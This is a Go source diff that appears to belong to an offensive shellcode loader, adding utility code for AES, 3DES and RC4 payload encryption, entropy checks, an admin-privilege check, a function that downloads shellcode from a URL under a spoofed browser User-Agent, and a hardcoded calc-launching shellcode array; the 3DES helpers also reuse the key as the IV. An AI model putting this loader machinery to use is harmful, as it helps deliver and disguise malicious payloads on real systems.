||||
iv := ciphertext[:des.BlockSize]
|
||||
|
||||
origData := PKCS5Padding(data, block.BlockSize())
|
||||
|
||||
mode := cipher.NewCBCEncrypter(block, iv)
|
||||
|
||||
encrypted := make([]byte, len(origData))
|
||||
|
||||
mode.CryptBlocks(encrypted, origData)
|
||||
|
||||
return encrypted, nil
|
||||
}
|
||||
|
||||
func TripleDesDecrypt(data, key []byte) ([]byte, error) {
|
||||
block, err := des.NewTripleDESCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
ciphertext := key
|
||||
iv := ciphertext[:des.BlockSize]
|
||||
|
||||
decrypter := cipher.NewCBCDecrypter(block, iv)
|
||||
|
||||
decrypted := make([]byte, len(data))
|
||||
decrypter.CryptBlocks(decrypted, data)
|
||||
decrypted = PKCS5Trimming(decrypted)
|
||||
|
||||
return decrypted, nil
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"errors"
|
||||
"bytes"
|
||||
)
|
||||
|
||||
func AESEncrypt(plaintext []byte, iv []byte, key []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if string(plaintext) == "" {
|
||||
return nil, errors.New("string to encrypt is empty")
|
||||
}
|
||||
|
||||
ecb := cipher.NewCBCEncrypter(block, iv)
|
||||
content := []byte(plaintext)
|
||||
content = PKCS5Padding(content, block.BlockSize())
|
||||
crypted := make([]byte, len(content))
|
||||
ecb.CryptBlocks(crypted, content)
|
||||
|
||||
return crypted, nil
|
||||
}
|
||||
|
||||
func AESDecrypt(ciphertext []byte, iv []byte, key []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(ciphertext) == 0 {
|
||||
return nil, errors.New("ciphertext cannot be empty")
|
||||
}
|
||||
|
||||
ecb := cipher.NewCBCDecrypter(block, iv)
|
||||
decrypted := make([]byte, len(ciphertext))
|
||||
ecb.CryptBlocks(decrypted, ciphertext)
|
||||
|
||||
return PKCS5Trimming(decrypted), nil
|
||||
}
|
||||
|
||||
func GenerateIV() ([]byte, error) {
|
||||
iv := make([]byte, aes.BlockSize)
|
||||
_, err := rand.Read(iv)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return iv, nil
|
||||
}
|
||||
|
||||
func PKCS5Trimming(encrypt []byte) []byte {
|
||||
padding := encrypt[len(encrypt)-1]
|
||||
return encrypt[:len(encrypt)-int(padding)]
|
||||
}
|
||||
|
||||
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
|
||||
padding := blockSize - len(ciphertext)%blockSize
|
||||
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
|
||||
return append(ciphertext, padtext...)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"slices"
|
||||
)
|
||||
|
||||
func AppendString(slice []string, str string) []string {
|
||||
if (!slices.Contains(slice, str)) {
|
||||
slice = append(slice, str)
|
||||
}
|
||||
|
||||
return slice
|
||||
}
|
||||
|
||||
func AppendSlice(slice, slice2 []string) []string {
|
||||
for _, entry := range slice2 {
|
||||
if (!slices.Contains(slice, entry)) {
|
||||
slice = append(slice, entry)
|
||||
}
|
||||
}
|
||||
|
||||
return slice
|
||||
}
|
||||
|
||||
@@ -1,13 +1,4 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
|
||||
All this functions are taken and lightly modified from the original gist, thanks to him
|
||||
https://gist.github.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3
|
||||
|
||||
*/
|
||||
package utils
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
@@ -0,0 +1,24 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
)
|
||||
|
||||
func Md5(src string) string {
|
||||
hash := md5.Sum([]byte(src))
|
||||
return hex.EncodeToString(hash[:])
|
||||
}
|
||||
|
||||
func Sha1(src string) string {
|
||||
hash := sha1.Sum([]byte(src))
|
||||
return hex.EncodeToString(hash[:])
|
||||
}
|
||||
|
||||
func Sha256(src string) string {
|
||||
hash := sha256.Sum256([]byte(src))
|
||||
return hex.EncodeToString(hash[:])
|
||||
}
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"os"
|
||||
"log"
|
||||
"math"
|
||||
"io"
|
||||
"fmt"
|
||||
"crypto/md5"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"io/ioutil"
|
||||
)
|
||||
|
||||
func Entropy(file string) (float64, error) {
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
contents, err := ioutil.ReadAll(f)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
freq := make(map[byte]int)
|
||||
for _, b := range contents {
|
||||
freq[b]++
|
||||
}
|
||||
|
||||
totalBytes := len(contents)
|
||||
probs := make(map[byte]float64)
|
||||
for b, f := range freq {
|
||||
probs[b] = float64(f) / float64(totalBytes)
|
||||
}
|
||||
|
||||
entropy := 0.0
|
||||
for _, p := range probs {
|
||||
if p > 0 {
|
||||
entropy -= p * math.Log2(p)
|
||||
}
|
||||
}
|
||||
|
||||
return entropy, nil
|
||||
}
|
||||
|
||||
func CalculateSums(output_file string) (string, string, string, error) {
|
||||
f1, err := os.Open(output_file)
|
||||
if err != nil {
|
||||
return "", "", "", err
|
||||
}
|
||||
defer f1.Close()
|
||||
|
||||
md5hash := md5.New()
|
||||
_, err = io.Copy(md5hash, f1)
|
||||
if err != nil {
|
||||
return "", "", "", err
|
||||
}
|
||||
|
||||
f2, err := os.Open(output_file)
|
||||
if err != nil {
|
||||
return "", "", "", err
|
||||
}
|
||||
defer f2.Close()
|
||||
|
||||
sha256hash := sha256.New()
|
||||
_, err = io.Copy(sha256hash, f2)
|
||||
if err != nil {
|
||||
return "", "", "", err
|
||||
}
|
||||
|
||||
f3, err := os.Open(output_file)
|
||||
if err != nil {
|
||||
return "", "", "", err
|
||||
}
|
||||
defer f3.Close()
|
||||
|
||||
sha1hash := sha1.New()
|
||||
_, err = io.Copy(sha1hash, f3)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%x", md5hash.Sum(nil)), fmt.Sprintf("%x", sha1hash.Sum(nil)), fmt.Sprintf("%x", sha256hash.Sum(nil)), nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func CheckHighPrivs() (bool, error) { // Function to check if current user has Administrator privileges
|
||||
var sid *windows.SID
|
||||
err := windows.AllocateAndInitializeSid(
|
||||
&windows.SECURITY_NT_AUTHORITY,
|
||||
2,
|
||||
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
||||
windows.DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0,
|
||||
&sid,
|
||||
)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
token := windows.Token(0)
|
||||
member, err := token.IsMember(sid) // Check if is inside admin group
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return member, nil // return true (means high privs) or false (means low privs)
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"math/rand"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Generate a random integer between range
|
||||
func RandomInt(min int, max int) int {
|
||||
rand.Seed(time.Now().UnixNano())
|
||||
rand_int := rand.Intn(max-min+1) + min
|
||||
return rand_int
|
||||
}
|
||||
|
||||
// Return random string based on an integer (length)
|
||||
func RandomString(length int) string {
|
||||
const charset = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
|
||||
var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
|
||||
|
||||
b := make([]byte, length)
|
||||
for i := range b {
|
||||
b[i] = charset[seededRand.Intn(len(charset))]
|
||||
}
|
||||
|
||||
// Ensure the first character is not an integer
|
||||
for b[0] >= '0' && b[0] <= '9' {
|
||||
b[0] = charset[seededRand.Intn(len(charset))]
|
||||
}
|
||||
|
||||
return string(b)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"crypto/rc4"
|
||||
)
|
||||
|
||||
func Rc4Encrypt(plaintext []byte, psk []byte) ([]byte, error) {
|
||||
r, err := rc4.NewCipher(psk)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
dst := make([]byte, len(plaintext))
|
||||
r.XORKeyStream(dst, plaintext)
|
||||
return dst, nil
|
||||
}
|
||||
|
||||
func Rc4Decrypt(ciphertext []byte, psk []byte) ([]byte, error) {
|
||||
r, err := rc4.NewCipher(psk)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
src := make([]byte, len(ciphertext))
|
||||
r.XORKeyStream(src, []byte(ciphertext))
|
||||
return src, nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
)
|
||||
|
||||
func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode
|
||||
req, err := http.NewRequest("GET", sc_url, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
req.Header.Set("Accept", "application/x-www-form-urlencoded")
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36")
|
||||
client := &http.Client{}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
b, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
shellcode_bytes, err := ioutil.ReadAll(f)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return shellcode_bytes, nil
|
||||
}
|
||||
|
||||
func CalcShellcode() []byte {
|
||||
return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
|
||||
}
|
||||
|
||||